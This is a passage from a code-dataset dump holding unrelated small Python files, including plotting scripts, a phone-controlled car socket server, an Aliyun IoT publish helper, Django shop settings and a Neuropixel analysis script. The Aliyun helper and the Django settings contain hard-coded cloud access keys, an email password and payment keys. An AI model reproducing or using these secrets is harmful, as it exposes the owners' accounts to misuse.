(df_chunk[args.column] >= threshold) &\n (df_chunk[args.column] < threshold + threshold_step)\n ])\n counts[idx] = counts[idx] + increment_value\n print('min', np.amin(counts))\n print('max', np.amax(counts))\n print('std', np.std(counts))\n print('variance', np.var(counts))\n print('avg', np.mean(counts))\n\n plt.figure(figsize=(10, 6))\n plt.hist(data, 1000, histtype='step', color='green', label='observation')\n # plt.bar(\n # thresholds,\n # counts,\n # color='green',\n # # edgecolor='c',\n # width=0.03\n # )\n xs = np.arange(-3, 3, 0.001)\n pdf = norm.pdf(xs, 0, 0.45)\n scaled_pdf = pdf * 2100000\n plt.plot(xs, scaled_pdf, label='theoratical', linestyle='--', color='grey')\n\n plt.xlabel(args.x_label, fontsize=20)\n plt.xlim([-4, 4])\n plt.ylabel(args.y_label, fontsize=20)\n plt.title(args.title, fontsize=20)\n plt.legend(fontsize=16)\n dest_dir = prepare_directory(os.path.dirname(args.dest))\n plt.savefig(\n args.dest,\n dpi=800,\n format='eps'\n )\n plt.clf()\n","sub_path":"src/distribution.py","file_name":"distribution.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"153727824","text":"# ====================================================\n# Author: JimboChien\n# Date Created: 2020/08/23\n# Last Updated: 2021/03/12\n# Description: create socket server that phone can\n# control the car\n# ====================================================\n\nfrom socket import *\nimport sys\nimport time\nimport serial\n\nctrCmd = ['S','A','F','R','L','B']\nHOST = ''\nPORT = 21567\n\nport = serial.Serial('/dev/ttyACM0', 9600, timeout = 3.0)\n\ndef main():\n s = socket(AF_INET, SOCK_STREAM) # create TCP service\n\n try:\n s.bind((HOST,PORT)) # bind addr (host,port) to socket,in AF_INET,\n # use tuple (host,port) format represent addr\n except socket.error as err:\n print(\"Bind Failed, Error Code: \"+ str(err[0])+\", Message: \"+err[1])\n sys.exit()\n\n print(\"Socket Bind Success!\")\n\n s.listen(10) # start TCP listen, setting maximum of connection\n print(\"Socket is now listening\")\n\n\n while True:\n conn, addr = s.accept()\n print('connected from ',addr[0] + \":\" + str(addr[1]))\n buf = conn.recv(64) # recive bytes\n print(buf)\n text = str(buf) # text[0] = IP, text[1] = PORT, text[2] = command\n if text[2] in ctrCmd: # if command is legal\n move(text[2])\n\n s.close()\n\ndef move(cmd):\n port.write(bytes(cmd, 'UTF-8'))\n time.sleep(0.1)\n\nif __name__ == '__main__':\n main()\n","sub_path":"phone_control_server.py","file_name":"phone_control_server.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"177565412","text":"class HeapNode:\n def __init__(self, e, p = None, lc = None, rc = None):\n self.element = e\n self.parent = p\n self.lchild = lc\n self.rchild = rc\n\n def insert (self, element):\n if element <= self.element:\n if self.lchild is None:\n self.lchild = HeapNode(element)\n else:\n self.lchild.insert(element)\n elif element > self.element:\n if self.rchild is None:\n self.rchild = HeapNode(element)\n else:\n self.rchild.insert(element)\n else:\n self.element = element\n\n def PrintTree(self):\n if self.lchild:\n self.lchild.PrintTree()\n print(self.element),\n if self.rchild:\n self.rchild.PrintTree()\n\nclass Maxheap():\n def __init__(self, mylist):\n self.n = HeapNode(mylist[0])\n for e in range(1, len(mylist)):\n self.n.insert(mylist[e])\n\n\n def PrintTree(self):\n self.n.PrintTree()\nl = [3, 6, 7, 7, 9, 2, 2, 998, 2, 487, 30, 487, 998]\n\nh = Maxheap(l)\nh.PrintTree()","sub_path":"maxHeap.py","file_name":"maxHeap.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"266239989","text":"#从云平台获取采样频率,启停数据\nfrom aliyunsdkcore.client import AcsClient\nfrom aliyunsdkcore.request import CommonRequest\nimport base64\nimport json\n\n\ndef pub_aliyun(command, device_name, product_key):\n accessKeyId = 'LTAI4GAhaCeHUhgYni41W6o3' #云平台id\n accessSecret = 'MfYU5oT9rdVZptcdqSnZ4DZJsJloYI' #云平台密钥\n client = AcsClient(accessKeyId, accessSecret, 'cn-shanghai')\n\n request = CommonRequest()\n request.set_accept_format('json')\n request.set_domain('iot.cn-shanghai.aliyuncs.com')\n request.set_method('POST')\n request.set_protocol_type('https') # https | http\n request.set_version('2018-01-20')\n request.set_action_name('Pub')\n\n request.add_query_param('RegionId', \"cn-shanghai\")\n topic_full_name = f'/{product_key}/{device_name}/user/get'\n request.add_query_param('TopicFullName', topic_full_name)\n request.add_query_param('MessageContent', base64.b64encode(command.encode('utf-8')).decode('utf-8'))\n request.add_query_param('ProductKey', product_key)\n\n response = client.do_action_with_exception(request)\n data = json.loads(str(response, encoding='utf-8'))\n return data\n\n\nif __name__ == '__main__':\n # command = \"begin\"\n # device_name = \"Vcollect02\"\n # product_key = \"a1hhc8u1lHd\"\n # pub_aliyun(command, device_name, product_key)\n data = pub_aliyun('0.5K', 'Vcollect02', 'a1hhc8u1lHd')\n # data = pub_aliyun(\"stop\", 'Vcollect02', 'a1hhc8u1lHd')\n print(data)\n\n","sub_path":"utils/pub_aliyun.py","file_name":"pub_aliyun.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"456083534","text":"import os\nimport re\nfrom setuptools import setup, find_packages\n\n\ndef get_version():\n regex = re.compile(r'__version__ *= *[\\'\\\"]([a-zA-Z0-9.]*)[\\'\\\"].*')\n base = os.path.dirname(__file__)\n version = None\n with open(os.path.join(base, 'rasmus_mediaweb', '__init__.py')) as f:\n for line in f:\n line = line.strip()\n match = regex.match(line)\n if match:\n version = match.group(1)\n break\n\n return version\n\nsetup(\n name='RasmusMediaWeb',\n description=\"A web-based media manager\",\n long_description=open('README.rst').read().strip(),\n version=get_version(),\n packages=find_packages(),\n install_requires=[\n 'Pyramid >= 1.5, <= 1.5.999',\n 'Jinja2 >= 2.7, <= 2.7.999',\n 'pyramid_jinja2 >= 2.0, <= 2.0.999',\n 'Waitress >= 0.8, <= 0.8.999',\n 'SQLAlchemy >= 0.9, <= 0.9.999',\n 'Alembic >= 0.6, <= 0.6.999',\n 'requests >= 2.2, <= 2.2.999',\n 'pyramid_debugtoolbar >= 2.0, <= 2.0.999',\n 'guessit >= 0.7, <= 0.7.999',\n 'beautifulsoup4 >= 4.3.2, <= 4.3.999',\n ],\n entry_points={\n 'console_scripts': [\n 'rasmus-mediaweb-server = rasmus_mediaweb.server:main',\n 'rasmus-mediaweb-manage = rasmus_mediaweb.manage:main'\n ],\n 'paste.app_factory': [\n 'wsgiapp = rasmus_mediaweb.wsgi:make_app',\n ],\n }\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"535475358","text":"user=input(\"Hourly wage?\")\nHourlywage=int(user)\n\nuser=input(\"Many hours did you work?\")\ntime=int(user)\n\nPayroll = Hourlywage * time\n\nfmt=\"\"\"\nHourlywage{0}yen,{1}hour work,\nPayroll is {2}yen\n\"\"\"\n\ndesc=fmt.format(Hourlywage,time,Payroll)\nprint(desc)\n","sub_path":"2/timesarary.py","file_name":"timesarary.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"321750185","text":"'''第二天学习\n快递价格计算器\n'''\ni=1\n\nwhile 1==1:\n\n print(\"欢迎来到快递系统!您是第\",i,\"位顾客\")\n\n weight = int(input(\"请输入重量(kg):\"))\n num = input(\"请输入地点编号(01.其他 02.东三省/宁夏/青海/海南 03.新疆/西藏 04.港澳台/国外):\")\n p=0\n if weight>=3:\n if num == \"01\":\n p=10+5*(weight-3)\n\n elif num == \"02\":\n p=12+10*(weight-3)\n\n elif num == \"03\":\n p=20+20*(weight-3)\n\n elif num == \"04\":\n p=666666\n print(\"不接受寄件,请联系客服。谢谢!\")\n\n else:\n print(\"输入错误!!!请输入数字,谢谢!\")\n continue\n\n elif weight<3 and weight>0:\n if num == \"01\":\n p=10\n\n elif num == \"02\":\n p=12\n\n elif num == \"03\":\n p=20\n\n elif num == \"04\":\n p = 888888\n print(\"不接受寄件,抱歉!\")\n else:\n print(\"输入错误!!!请输入数字,谢谢!\")\n continue\n\n else:\n print(\"输入错误!!!请输入数字,谢谢!\")\n\n print(\"您好,此件包裹的快递费用为:\",p,\"元!\")\n i = i + 1","sub_path":"toor/test02.py","file_name":"test02.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"450480857","text":"# encoding: utf-8\n\n\nfrom base import *\nUSE_LESS = False\nLESSC_BIN = os.path.join(BASE_DIR, 'node_modules', '.bin', 'lessc')\nCOMPRESS_PRECOMPILERS = (\n ('text/less', '%s {infile}'%LESSC_BIN),\n)\nSTATICFILES_FINDERS = [\n \"django.contrib.staticfiles.finders.FileSystemFinder\",\n \"django.contrib.staticfiles.finders.AppDirectoriesFinder\",\n \"compressor.finders.CompressorFinder\",\n]\n\n#CIELO CONFIGURACOES\n\n#TESTES\nOSCAR_CIELO_NUMERO=\"1006993069\"\nOSCAR_CIELO_CHAVE=\"25fbb99741c739dd84d7b06ec78c9bac718838630f30b112d033ce2e621b34f3\"\nOSCAR_CIELO_SANDBOX= True\n\n# ##NOSSOS NUMEROS\n# OSCAR_CIELO_NUMERO=\"1088067821\"\n# OSCAR_CIELO_CHAVE=\"efb6cfe18f054db04c37083935b40281609d6c564b8c00b5cae3cc595007c7e5\"\n# OSCAR_CIELO_SANDBOX= False\n\n\n#Não cadastrados podem comprar\nOSCAR_ALLOW_ANON_CHECKOUT = False\n\n#LOGGER\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': True,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(message)s',\n },\n 'simple': {\n 'format': '[%(asctime)s] %(message)s'\n },\n },\n 'root': {\n 'level': 'DEBUG',\n 'handlers': ['console'],\n },\n 'handlers': {\n 'null': {\n 'level': 'DEBUG',\n 'class': 'logging.NullHandler',\n },\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple'\n },\n },\n 'loggers': {\n 'oscar': {\n 'level': 'DEBUG',\n 'propagate': True,\n },\n 'oscar.catalogue.import': {\n 'handlers': ['console'],\n 'level': 'INFO',\n 'propagate': False,\n },\n 'oscar.alerts': {\n 'handlers': ['null'],\n 'level': 'INFO',\n 'propagate': False,\n },\n\n # Django loggers\n 'django': {\n 'handlers': ['null'],\n 'propagate': True,\n 'level': 'INFO',\n },\n 'django.request': {\n 'handlers': ['console'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n 'django.db.backends': {\n 'level': 'WARNING',\n 'propagate': True,\n },\n # Third party\n 'raven': {\n 'level': 'DEBUG',\n 'handlers': ['console'],\n 'propagate': False,\n },\n 'sorl.thumbnail': {\n 'handlers': ['console'],\n 'propagate': True,\n 'level': 'INFO',\n },\n }\n}\n\n## PHONES ##\n\nPHONENUMBER_DEFAULT_REGION = 'BR'\n\n# EMAIL CONFIGURATION #\n\nOSCAR_FROM_EMAIL = 'admin@3ecologias.net'\nDEFAULT_FROM_EMAIL = 'admin@3ecologias.net'\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_USER = 'juliaroberts@3ecologias.net'\nEMAIL_HOST_PASSWORD = 'Tatub0lana0b0la'\nEMAIL_USE_TLS = True\nEMAIL_PORT = 587\n\n#############################\n##~DASHBOARD CONFIGURATION~##\n#############################\n\nOSCAR_DASHBOARD_NAVIGATION.append({\n 'label': 'Frete',\n 'icon': 'icon-truck',\n 'url_name': 'dashboard:shipping-method-list'\n})\n\n############################\n## CUSTOM USER MODEL #######\n############################\n\n# use our own user model\nAUTH_USER_MODEL = \"custom_user.User\"\n","sub_path":"recifegrafica/settings/override.py","file_name":"override.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"274052991","text":"import os\nimport time\nimport h5py\nfrom tqdm import tqdm\nimport torch\nimport torch.nn.functional as F\nimport numpy as np\nfrom dataloader import MyDataLoader, H5DataSource\nfrom preprocess import prepare_batch\nfrom modules.gac_net import GACNet\nfrom modules.resnext import resnext_ys\nfrom modules.lcz_res_net import resnet10, resnet18, resnet34, resnet50\nfrom modules.lcz_senet import se_resnet_ys, se_resnet10_fc512, se_resnet15_fc512\nfrom modules.lcz_xception import Xception\nfrom modules.lcz_dense_net import densenet_ys, densenet121, densenet169, densenet201, densenet161\nfrom config_lcz import *\n\n\nif __name__ == '__main__':\n\tfor model_name in model_name_list:\n\t\tBATCH_SIZE = 100\n\n\t\tmodel_dir = os.path.join(model_root, model_name)\n\t\tMODEL = model_name.split('_')[0]\n\t\t# extra = '_best_single'\n\t\textra = ''\n\t\tmodels = [\n\t\t\t'M_curr.ckpt',\n\t\t\t'M_best.ckpt',\n\t\t\t'M_1.ckpt',\n\t\t\t'M_2.ckpt',\n\t\t\t'M_3.ckpt',\n\t\t\t'M_4.ckpt',\n\t\t\t'M_5.ckpt',\n\t\t\t'M_6.ckpt'\n\t\t]\n\n\n\t\tif not os.path.isdir(results_root):\n\t\t\tos.mkdir(results_root)\n\t\tsubmit_dir = os.path.join(results_root, specific_name, 'submit')\n\t\tscore_dir = os.path.join(results_root, specific_name, 'score')\n\t\tif not os.path.isdir(submit_dir):\n\t\t\tos.mkdir(submit_dir)\n\t\tif not os.path.isdir(score_dir):\n\t\t\tos.mkdir(score_dir)\n\n\t\tmean, std = None, None\n\t\t# if ZSCORE:\n\t\t# \tmean_std_h5 = h5py.File(mean_std_test_file, 'r')\n\t\t# \tmean = torch.from_numpy(np.array(mean_std_h5['mean'])).float().cuda()\n\t\t# \tstd = torch.from_numpy(np.array(mean_std_h5['std'])).float().cuda()\n\t\t# \tmean_std_h5.close()\n\n\n\t\tif MODEL == 'GAC':\n\t\t\tgroup_sizes = [3, 3,\n\t\t\t\t\t\t 3, 3, 2, 2,\n\t\t\t\t\t\t 4, 3, 3]\n\t\t\tmodel = GACNet(group_sizes, 17, 32)\n\t\telif MODEL == 'XCEPTION':\n\t\t\tmodel = Xception(N_CHANNEL, 17)\n\t\telif MODEL == 'RES10':\n\t\t\tmodel = resnet10(N_CHANNEL, 17)\n\t\telif MODEL == 'RES18':\n\t\t\tmodel = resnet18(N_CHANNEL, 17)\n\t\telif MODEL == 'SE-RES10':\n\t\t\tmodel = se_resnet10_fc512(N_CHANNEL, 17)\n\t\telif MODEL == 'SE-RES15':\n\t\t\tmodel = se_resnet15_fc512(N_CHANNEL, 17)\n\t\telif MODEL == 'SE-RES-YS':\n\t\t\tmodel = se_resnet_ys(N_CHANNEL, 17)\n\t\telif MODEL == 'RESNEXT':\n\t\t\tmodel = resnext_ys(N_CHANNEL, 17)\n\t\telif MODEL == 'DENSE121':\n\t\t\tmodel = densenet121(N_CHANNEL, 17, drop_rate=0.3)\n\t\telif MODEL == 'DENSE201':\n\t\t\tmodel = densenet201(N_CHANNEL, 17, drop_rate=0.3)\n\t\telif MODEL == 'DENSE-YS':\n\t\t\tmodel = densenet_ys(N_CHANNEL, num_classes=17)\n\t\telse:\n\t\t\tgroup_sizes = [3, 3,\n\t\t\t\t\t\t 3, 3, 2, 2,\n\t\t\t\t\t\t 4, 3, 3]\n\t\t\tmodel = GACNet(group_sizes, 17, 32)\n\t\tmodel = model.cuda()\n\n\t\tdata_source = H5DataSource([test_file], BATCH_SIZE, shuffle=False)\n\t\ttest_loader = MyDataLoader(data_source.h5fids, data_source.indices)\n\n\t\tn_model = 0\n\t\tensembled_pred = None\n\t\tensembled_score = 0\n\t\tfor t in range(TEST_REPEAT + 1):\n\t\t\tfor ckpt_name in models:\n\t\t\t\tckpt_path = os.path.join(model_dir, ckpt_name)\n\t\t\t\tif os.path.isfile(ckpt_path):\n\t\t\t\t\tprint('load training param, ', ckpt_path)\n\t\t\t\t\tstate = torch.load(ckpt_path)\n\t\t\t\t\tmodel.load_state_dict(state['model_state'])\n\t\t\t\t\tm_score = state['score']\n\n\t\t\t\t\tm_loss = state['loss']\n\t\t\t\t\tif m_score < SCORE_THRESH:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tprint('score:', m_score)\n\t\t\t\t\tprint('loss:', m_loss)\n\t\t\t\t\tprint('-' * 80)\n\t\t\t\t\tprint('Testing...')\n\n\t\t\t\t\ttotal_score = None\n\t\t\t\t\twith torch.no_grad():\n\t\t\t\t\t\tmodel.eval()\n\t\t\t\t\t\tfor test_data, _, fidx in tqdm(test_loader):\n\t\t\t\t\t\t\ttime.sleep(0.02)\n\t\t\t\t\t\t\taug = True\n\t\t\t\t\t\t\tif t == 0:\n\t\t\t\t\t\t\t\taug = False\n\t\t\t\t\t\t\ttest_input, _ = prepare_batch(test_data, None, fidx, mean, std, aug=aug)\n\n\t\t\t\t\t\t\t# import matplotlib.pyplot as plt\n\t\t\t\t\t\t\t# mm = mean[None,None,[8,6,7]]\n\t\t\t\t\t\t\t# ss = std[None,None,[8,6,7]]\n\t\t\t\t\t\t\t# img = (test_input[0][[8, 6, 7], :, :].permute(1,2,0) * ss + mm).cpu().numpy()\n\t\t\t\t\t\t\t# plt.imshow(img * 2.55)\n\t\t\t\t\t\t\t# plt.show()\n\n\t\t\t\t\t\t\ttest_out = F.softmax(model(test_input), -1)\n\t\t\t\t\t\t\tscore = test_out.detach().cpu().numpy()\n\t\t\t\t\t\t\tif total_score is None:\n\t\t\t\t\t\t\t\t# total_pred = pred\n\t\t\t\t\t\t\t\ttotal_score = score\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t# total_pred = np.concatenate([total_pred, pred])\n\t\t\t\t\t\t\t\ttotal_score = np.concatenate([total_score, score])\n\t\t\t\t\tensembled_score += total_score\n\t\t\t\t\tn_model += 1\n\t\t\t\t\tdel state\n\n\t\tensembled_score /= n_model\n\t\tensembled_pred = ensembled_score.argmax(-1)\n\t\tsubmit = np.eye(17)[ensembled_pred.reshape(-1)]\n\n\t\tnp.savetxt(os.path.join(submit_dir, model_name + extra + '.csv'), submit, delimiter=',', fmt='%d')\n\t\tnp.savetxt(os.path.join(score_dir, model_name + extra + '.csv'), ensembled_score, delimiter=',', fmt='%.5f')\n\t\tprint('completed!')\n\t\tprint('-' * 80)\n","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"648000030","text":"class Node:\n\tdef __init__(self,val = None,prev = None,next = None):\n\t\tself.data = val\n\t\tself.next = next\n\t\tself.prev = prev\n\nclass DoublyLinkedList:\n\tdef __init__(self,lis = []):\n\t\tself.head = None\n\t\tfor i in lis:\n\t\t\tself.add(i)\n\n\tdef add(self,val, pos = None):\n\t\tif(self.head == None):\n\t\t\tself.head = Node(val)\n\t\telse:\n\t\t\tN_node = Node(val)\n\t\t\tif(pos==None):\n\t\t\t\tt= self.head\n\t\t\t\twhile(t.next): t = t.next\n\t\t\t\tt.next = N_node\n\t\t\telse:\n\t\t\t\tif(pos==0):\n\t\t\t\t\tN_node.next = self.head\n\t\t\t\t\tself.head.prev = N_node\n\t\t\t\t\tself.head = N_node\n\t\t\t\telse:\n\t\t\t\t\tt = prev = self.head\n\t\t\t\t\twhile(t and pos>0):\n\t\t\t\t\t\tpos-=1\n\t\t\t\t\t\tprev = t\n\t\t\t\t\t\tt = t.next\n\t\t\t\t\tN_node.next = prev.next\n\t\t\t\t\tif(prev.next):\n\t\t\t\t\t\tprev.next.prev = N_node\n\t\t\t\t\tprev.next = N_node\n\t\t\t\t\tN_node.prev = prev\n\n\tdef remove(self,data = None):\n\t\tif(self.head == None or data == None): return\n\t\tt = self.head\n\t\tif(t.data == data):\n\t\t\tself.head = t.next\n\t\t\tif(t.next == None): return\n\t\t\tt.next.prev = None\n\t\t\tt = None\n\t\t\treturn\n\t\twhile(t and t.data != data):\n\t\t\tprevv = t\n\t\t\tt = t.next\n\t\tif(t == None): return\n\t\tt.next.prev = prevv\n\t\tprevv.next = t.next\n\t\tt = None\n\t\treturn\n\n\tdef getNode(self,data):\n\t\tif(self.head == None): return None\n\t\tt = self.head\n\t\twhile(t):\n\t\t\tif(t.data == data):\n\t\t\t\treturn t\n\t\t\tt = t.next\n\t\treturn None\n\n\tdef len(self):\n\t\tlength = 0\n\t\tnode = self.head\n\t\twhile(node):\n\t\t\tnode = node.next\n\t\t\tlength += 1\n\t\treturn length\n\n\tdef __repr__(self):\n\t\tif(self.head == None): return \"\"\n\t\tt = self.head\n\t\telement = ''\n\t\twhile t:\n\t\t element += f'{t.data} <--> '\n\t\t t = t.next\n\t\telement += 'None'\n\t\treturn element\n\n","sub_path":"DataStructures/LinkedList/DoublyLinkedList.py","file_name":"DoublyLinkedList.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"567824160","text":"\"\"\"\nLearn sympy\nhttps://www.sympy.org/en/index.html\n\"\"\"\n\nfrom sympy import Symbol, solve\n\nx=Symbol(\"x\")\ny=Symbol(\"y\")\nprint(solve([2*x-y-3, 3*x+y-7], [x,y]))\n","sub_path":"StandardLibrary/learn_sympy.py","file_name":"learn_sympy.py","file_ext":"py","file_size_in_byte":158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"460650273","text":"import numpy as np\nfrom kcsd import KCSD2D\nfrom pathlib import Path\nfrom openpyxl import load_workbook\nfrom DemoReadSGLXData.readSGLX import readMeta, SampRate, makeMemMapRaw, GainCorrectIM, GainCorrectNI, ExtractDigital\nimport matplotlib.pyplot as plt\nfrom matplotlib import gridspec\n\n\ndef eles_to_rows(eles):\n rows = []\n for ele in eles:\n rows.append(int(np.ceil(ele/2)))\n return rows\n\ndef eles_to_ycoord(eles):\n rows = eles_to_rows(eles)\n y_coords = []\n for ii in rows:\n y_coords.append(int((480 - ii)*20))\n return y_coords\n\ndef eles_to_xcoord(eles):\n x_coords = []\n for ele in eles:\n off = ele%4\n if off == 1:\n x_coords.append(-24)\n elif off == 2:\n x_coords.append(8)\n elif off == 3:\n x_coords.append(-8)\n else:\n x_coords.append(24)\n return x_coords\n\ndef eles_to_coords(eles):\n xs = eles_to_xcoord(eles)\n ys = eles_to_ycoord(eles)\n return np.array((xs, ys)).T\n\n\n# Specific to Ewas experimental setup\ndef load_chann_map():\n book = load_workbook('NP_do_map.xlsx')\n sheet = book.get_sheet_by_name('sov12 sorted')\n eleid = sheet['C3':'C386']\n chanid = sheet['J3':'J386']\n chan_ele_dict = {}\n ele_chan_dict = {}\n for e,c in zip(eleid, chanid):\n chan_ele_dict[int(c[0].value)] = int(e[0].value)\n ele_chan_dict[int(e[0].value)] = int(c[0].value)\n return ele_chan_dict, chan_ele_dict\n\n\nele_chan_dict, chan_ele_dict = load_chann_map()\n\ndef fetch_channels(eles):\n chans = []\n exist_ele = []\n for ii in eles:\n try:\n chans.append(ele_chan_dict[ii])\n exist_ele.append(ii)\n except KeyError:\n print('Not recording from ele', ii)\n return chans, exist_ele\n\n# print(ele_dict)\n\n\n# File with the data\n# old\n# binFullPath = Path('./data/08_refGND_APx500_LFPx125_ApfiltON_corr_banks_stim50V_g0_t0.imec0.lf.bin')\n# Daniel\nbinFullPath = Path('/mnt/zasoby/data/neuropixel/Neuropixel data from Ewa Kublik/SOV_12/data/08_refGND_APx500_LFPx125_ApfiltON_corr_banks_stim50V_g0_t0.imec0.lf.bin')\n# Chaitanya\n# binFullPath = Path('/home/chaitanya/LFP/SOV_12/data/08_refGND_APx500_LFPx125_ApfiltON_corr_banks_stim50V_g0_t0.imec0.lf.bin')\n\ntStart = 0 # in seconds\ntEnd = 1\n# chanList = [0, 6, 9, 383]\n# eleList = np.arange(769, 860)\neleList = np.arange(0, 959)\n\nchanList, eleList = fetch_channels(eleList)\n\n\n\n# Which digital word to read. \n# For imec, there is only 1 digital word, dw = 0.\n# For NI, digital lines 0-15 are in word 0, lines 16-31 are in word 1, etc.\ndw = 0\n# Which lines within the digital word, zero-based\n# Note that the SYNC line for PXI 3B is stored in line 6.\ndLineList = [6]\n\nmeta = readMeta(binFullPath)\nsRate = SampRate(meta)\nfirstSamp = int(sRate*tStart)\nlastSamp = int(sRate*tEnd)\nrawData = makeMemMapRaw(binFullPath, meta)\nselectData = rawData[chanList, firstSamp:lastSamp+1]\ndigArray = ExtractDigital(rawData, firstSamp, lastSamp, dw, dLineList, meta)\n\nif meta['typeThis'] == 'imec':\n # apply gain correction and convert to uV\n convData = 1e6*GainCorrectIM(selectData, chanList, meta)\nelse:\n # apply gain correction and convert to mV\n convData = 1e3*GainCorrectNI(selectData, chanList, meta)\n\ntDat = np.arange(firstSamp, lastSamp+1)\ntDat = 1000*tDat/sRate # plot time axis in msec\n\n\n\nele_pos = eles_to_coords(eleList)\nprint(ele_pos)\ncsd_at_time = 0.04\npots = []\nfor ii, chann in enumerate(chanList):\n pots.append(convData[ii, int(sRate*csd_at_time)])\n\npots = np.array(pots)\n# print(pots.shape)\npots = pots.reshape((len(chanList), 1))\nR_init = 0.3\nh = 50.\nsigma = 0.3\nk = KCSD2D(ele_pos, pots, h=h, sigma=sigma,\n xmin=-35, xmax=35,\n ymin=1100, ymax=2000,\n gdx=10, gdy=10,\n R_init=R_init, n_src_init=1000,\n src_type='gauss') # rest of the parameters are set at default\nk.cross_validate(Rs=np.linspace(0.1, 1.001, 20), lambdas=None)\n\n# # ax = plt.subplot(121)\n# # for ii, chan in enumerate(chanList):\n# # ax.plot(tDat, convData[ii, :], label=str(chan)+' Ele'+str(chan_dict[chan]))\n# # plt.legend()\n# # ax = plt.subplot(122)\n# # for i in range(0, len(dLineList)):\n# # ax.plot(tDat, digArray[i, :])\n\n# rowList = eles_to_rows(eleList)\n# num_rows = max(rowList) - min(rowList) + 1\n# print(num_rows)\n# fig = plt.figure(figsize=(4, num_rows))\n# gs = gridspec.GridSpec(nrows=num_rows, ncols=4, wspace=0, hspace=0)\n# all_maxy = -100\n# axs = []\n# for ii, chann in enumerate(chanList):\n# ee = chan_ele_dict[chann]\n# rr = eles_to_rows([ee])[0] - min(rowList) # last row first\n# rr = num_rows - rr - 1\n# print(rr, ee, num_rows-rr)\n# off = ee%4\n# if off == 0:\n# ax = fig.add_subplot(gs[rr, 3])\n# elif off == 1:\n# ax = fig.add_subplot(gs[rr, 0])\n# elif off == 2:\n# ax = fig.add_subplot(gs[rr, 2])\n# else:\n# ax = fig.add_subplot(gs[rr, 1])\n# ax.plot(tDat, convData[ii, :])\n# all_maxy = max(all_maxy, max(convData[ii, :]))\n# ax.spines['right'].set_visible(False)\n# ax.spines['top'].set_visible(False)\n# # ax.spines['left'].set_visible(False)\n# # ax.set_yticklabels([])\n# # ax.set_yticks([])\n# ax.set_title('E('+str(ee)+')')\n# axs.append(ax)\n# print(all_maxy)\n# plt.show()\n\n","sub_path":"figures/npx/map_npx_ele.py","file_name":"map_npx_ele.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"130861157","text":"# Copyright 2020 Meng Wu\n\nimport sys\nimport io\n\ndef s2h(seconds):\n m, s = divmod(float(seconds), 60)\n h, m = divmod(m, 60)\n s = round(s, 4)\n m = int(m)\n h = int(h)\n if s == 0.0:\n s = '00'\n elif s < 10:\n s = '0' + str(s)\n \n if m == 0.0:\n m = '00'\n elif m < 10:\n m = '0' + str(m)\n \n if h == 0.0:\n h = '00'\n elif h < 10:\n h = '0' + str(h)\n\n return('{h}:{m}:{s}'.format(h=h,m=m,s=s))\n\ndef ctm2str(x):\n '''\n Input:\n list with format \n Return:\n str file\n '''\n count = 5 # one line most have n words\n j = 0\n sequence = []\n for i in range(len(x)):\n this_key = x[i][0]\n w = io.open(this_key+'.srt', 'a+', encoding='utf-8') # write by utterance name\n start_time = x[j][2]\n end_time = float(x[i][2]) + float(x[i][3])\n if i != len(x) - 1 and str(end_time) == x[i+1][2] and len(sequence) < count:\n # this end == next start && sequence length <= count && not the end line\n sequence.append(x[i][4])\n elif len(sequence) == count: # one line most have n words\n sequence.append(x[i][4])\n start_time = s2h(start_time)\n end_time = s2h(end_time)\n w.write(start_time + ' --> '+ end_time + '\\n' + ' '.join(sequence) + '\\n' + '\\n')\n sequence = []\n j = i + 1\n elif i != len(x) - 1 and (float(x[i+1][2]) - float(end_time)) <= 0.15 and len(sequence) < count:\n sequence.append(x[i][4])\n else:\n start_time = s2h(start_time)\n end_time = s2h(end_time)\n sequence.append(x[i][4])\n w.write(start_time + ' --> '+ end_time + '\\n' + ' '.join(sequence) + '\\n' + '\\n')\n sequence = []\n j = i + 1\n\n\n\n\n\ndef main(path):\n with io.open(path, 'r', encoding='utf-8') as f:\n A = [ i.strip().split() for i in f.readlines() ]\n ctm2str(A)\n\nif __name__ == '__main__':\n main(sys.argv[1])","sub_path":"meng_scripts/youtube/src/ctm2srt.py","file_name":"ctm2srt.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"347112561","text":"## import some useful tools\nimport os\n# import numpy as np\n# import pandas as pd\n# import matplotlib.pyplot as plt\n# import datetime as dt\n\n## import torch module\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import 